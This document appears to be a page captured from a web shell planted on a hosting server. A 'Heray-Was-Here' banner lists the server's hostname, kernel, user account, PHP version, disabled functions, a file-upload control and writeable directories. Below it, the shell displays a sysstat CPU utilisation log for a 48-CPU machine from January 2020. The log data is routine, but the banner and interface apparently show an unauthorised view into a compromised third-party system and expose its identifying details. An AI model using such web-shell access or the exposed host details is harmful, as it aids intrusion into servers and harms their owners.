Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/log/sa/sar23
Linux 3.10.0-957.12.2.vz7.96.21 (vps37394.inmotionhosting.com) 	2020-01-23 	_x86_64_	(48 CPU)

00:00:06        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:02        all      0.25      0.00      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.63
00:10:02          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          1      0.55      0.02      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.24
00:10:02          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          3      0.62      0.01      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.06
00:10:02          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          5      0.49      0.00      0.27      0.00      0.00      0.00      0.00      0.00      0.00     99.24
00:10:02          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          7      0.43      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.36
00:10:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          9      0.43      0.01      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.39
00:10:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         11      0.44      0.03      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.32
00:10:02         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         13      0.45      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.35
00:10:02         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         15      0.47      0.00      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.30
00:10:02         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         17      0.78      0.01      0.36      0.00      0.00      0.00      0.00      0.00      0.00     98.85
00:10:02         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         19      0.52      0.01      0.27      0.00      0.00      0.00      0.00      0.00      0.00     99.21
00:10:02         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         21      0.59      0.01      0.29      0.00      0.00      0.00      0.00      0.00      0.00     99.11
00:10:02         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         23      0.56      0.02      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.24
00:10:02         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         25      0.48      0.01      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.33
00:10:02         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         27      0.44      0.01      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.38
00:10:02         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         29      0.32      0.01      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:10:02         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         31      0.45      0.01      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.40
00:10:02         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         33      0.59      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.16
00:10:02         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         35      0.60      0.01      0.32      0.00      0.00      0.00      0.00      0.00      0.00     99.07
00:10:02         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         37      0.39      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.48
00:10:02         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         39      0.65      0.01      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.10
00:10:02         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         41      0.61      0.01      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.13
00:10:02         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         43      0.54      0.01      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.25
00:10:02         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         45      0.31      0.01      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.51
00:10:02         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         47      0.45      0.01      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.33
00:20:01        all      0.16      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.76
00:20:01          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01          1      0.44      0.00      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.38
00:20:01          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01          3      0.31      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.56
00:20:01          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01          5      0.42      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.37
00:20:01          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01          7      0.26      0.01      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.60
00:20:01          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01          9      0.43      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.35
00:20:01         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         11      0.34      0.01      0.38      0.00      0.00      0.00      0.00      0.00      0.00     99.27
00:20:01         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         13      0.35      0.00      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:20:01         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         15      0.47      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.30
00:20:01         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         17      0.36      0.00      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:20:01         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         19      0.27      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.59
00:20:01         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         21      0.34      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.52
00:20:01         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         23      0.33      0.01      0.16      0.00      0.00      0.00      0.00      0.00      0.00     99.50
00:20:01         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         25      0.31      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.56
00:20:01         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         27      0.23      0.00      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.67
00:20:01         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         29      0.20      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.67
00:20:01         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         31      0.22      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.64
00:20:01         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         33      0.36      0.00      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:20:01         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         35      0.36      0.01      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.39
00:20:01         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         37      0.33      0.00      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.56
00:20:01         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         39      0.35      0.00      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.56
00:20:01         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         41      0.37      0.01      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.50
00:20:01         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         43      0.19      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.69
00:20:01         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         45      0.23      0.01      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.63
00:20:01         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:01         47      0.21      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.71
00:30:03        all      0.35      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.53
00:30:03          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03          1      0.57      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.21
00:30:03          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03          3      0.72      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.08
00:30:03          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03          5      0.87      0.00      0.24      0.00      0.00      0.00      0.00      0.00      0.00     98.89
00:30:03          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03          7      0.78      0.00      0.30      0.00      0.00      0.00      0.00      0.00      0.00     98.91
00:30:03          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03          9      0.62      0.02      0.16      0.00      0.00      0.00      0.00      0.00      0.00     99.20
00:30:03         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         11      1.00      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     98.69
00:30:03         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         13      0.81      0.01      0.27      0.00      0.00      0.00      0.00      0.00      0.00     98.91
00:30:03         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         15      0.63      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.11
00:30:03         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         17      0.53      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.25
00:30:03         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         19      0.70      0.01      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.03
00:30:03         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         21      0.58      0.00      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.18
00:30:03         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         23      0.99      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     98.79
00:30:03         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         25      0.46      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.26
00:30:03         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         27      0.72      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.07
00:30:03         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         29      1.06      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     98.63
00:30:03         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         31      0.55      0.00      0.16      0.00      0.00      0.00      0.00      0.00      0.00     99.29
00:30:03         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         33      0.60      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.21
00:30:03         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         35      0.61      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.19
00:30:03         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         37      0.61      0.00      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.15
00:30:03         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         39      0.67      0.00      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.09
00:30:03         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         41      0.52      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.27
00:30:03         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         43      0.64      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.14
00:30:03         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         45      0.78      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.00
00:30:03         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:03         47      0.87      0.00      0.30      0.00      0.00      0.00      0.00      0.00      0.00     98.83
00:40:01        all      0.28      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.59
00:40:01          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01          1      0.56      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.17
00:40:01          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01          3      0.60      0.01      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.11
00:40:01          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01          5      0.53      0.00      0.30      0.00      0.00      0.00      0.00      0.00      0.00     99.17
00:40:01          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01          7      0.98      0.00      0.36      0.00      0.00      0.00      0.00      0.00      0.00     98.66
00:40:01          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01          9      0.61      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.11
00:40:01         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         11      0.49      0.00      0.33      0.00      0.00      0.00      0.00      0.00      0.00     99.18
00:40:01         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         13      0.51      0.01      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.22
00:40:01         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         15      0.62      0.00      0.29      0.00      0.00      0.00      0.00      0.00      0.00     99.09
00:40:01         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         17      0.43      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.32
00:40:01         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         19      0.70      0.01      0.29      0.00      0.00      0.00      0.00      0.00      0.00     99.00
00:40:01         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         21      0.55      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.10
00:40:01         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         23      0.86      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     98.82
00:40:01         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         25      0.54      0.00      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.21
00:40:01         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         27      0.55      0.05      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.23
00:40:01         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         29      0.33      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.48
00:40:01         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         31      0.43      0.00      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.40
00:40:01         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         33      0.64      0.00      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.18
00:40:01         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         35      0.46      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.28
00:40:01         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         37      0.39      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.41
00:40:01         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         39      0.67      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.07
00:40:01         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         41      0.26      0.00      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.51
00:40:01         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         43      0.52      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.28
00:40:01         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         45      0.72      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     98.97
00:40:01         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:01         47      0.46      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.36
00:50:02        all      0.15      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.78
00:50:02          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02          1      0.24      0.01      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.62
00:50:02          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02          3      0.31      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.57
00:50:02          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02          5      0.36      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.44
00:50:02          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02          7      0.24      0.00      0.16      0.00      0.00      0.00      0.00      0.00      0.00     99.61
00:50:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02          9      0.17      0.00      0.09      0.00      0.00      0.00      0.00      0.00      0.00     99.74
00:50:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         11      0.25      0.01      0.09      0.00      0.00      0.00      0.00      0.00      0.00     99.65
00:50:02         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         13      0.32      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.55
00:50:02         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         15      0.34      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.53
00:50:02         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         17      0.29      0.00      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.60
00:50:02         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         19      0.25      0.00      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.65
00:50:02         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         21      0.34      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.53
00:50:02         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         23      0.23      0.00      0.32      0.00      0.00      0.00      0.00      0.00      0.00     99.45
00:50:02         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         25      0.13      0.01      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.75
00:50:02         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         27      0.32      0.00      0.09      0.00      0.00      0.00      0.00      0.00      0.00     99.60
00:50:02         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         29      0.29      0.01      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.58
00:50:02         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         31      0.41      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.46
00:50:02         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         33      0.14      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.74
00:50:02         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         35      0.28      0.00      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.61
00:50:02         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         37      0.40      0.00      0.15      0.00      0.00      0.00      0.00      0.00      0.00     99.44
00:50:02         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         39      0.35      0.00      0.15      0.00      0.00      0.00      0.00      0.00      0.00     99.50
00:50:02         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         41      0.28      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.64
00:50:02         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         43      0.31      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:50:02         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         45      0.52      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.33
00:50:02         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:02         47      0.22      0.00      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.60
01:00:02        all      0.13      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.83
01:00:02          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02          1      0.17      0.01      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.76
01:00:02          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02          3      0.26      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.66
01:00:02          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02          5      0.17      0.00      0.05      0.00      0.00      0.00      0.00      0.00      0.00     99.78
01:00:02          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02          7      0.53      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.33
01:00:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02          9      0.26      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.68
01:00:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         11      0.30      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.63
01:00:02         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         13      0.27      0.01      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.63
01:00:02         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         15      0.17      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.76
01:00:02         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         17      0.20      0.01      0.09      0.00      0.00      0.00      0.00      0.00      0.00     99.69
01:00:02         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         19      0.19      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.75
01:00:02         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         21      0.32      0.01      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.57
01:00:02         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         23      0.26      0.01      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.67
01:00:02         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         25      0.41      0.00      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.49
01:00:02         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         27      0.21      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.74
01:00:02         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         29      0.14      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.80
01:00:02         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         31      0.21      0.01      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.64
01:00:02         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         33      0.29      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.65
01:00:02         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         35      0.36      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.56
01:00:02         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:02         37      0.30      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.55
01:00:02         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
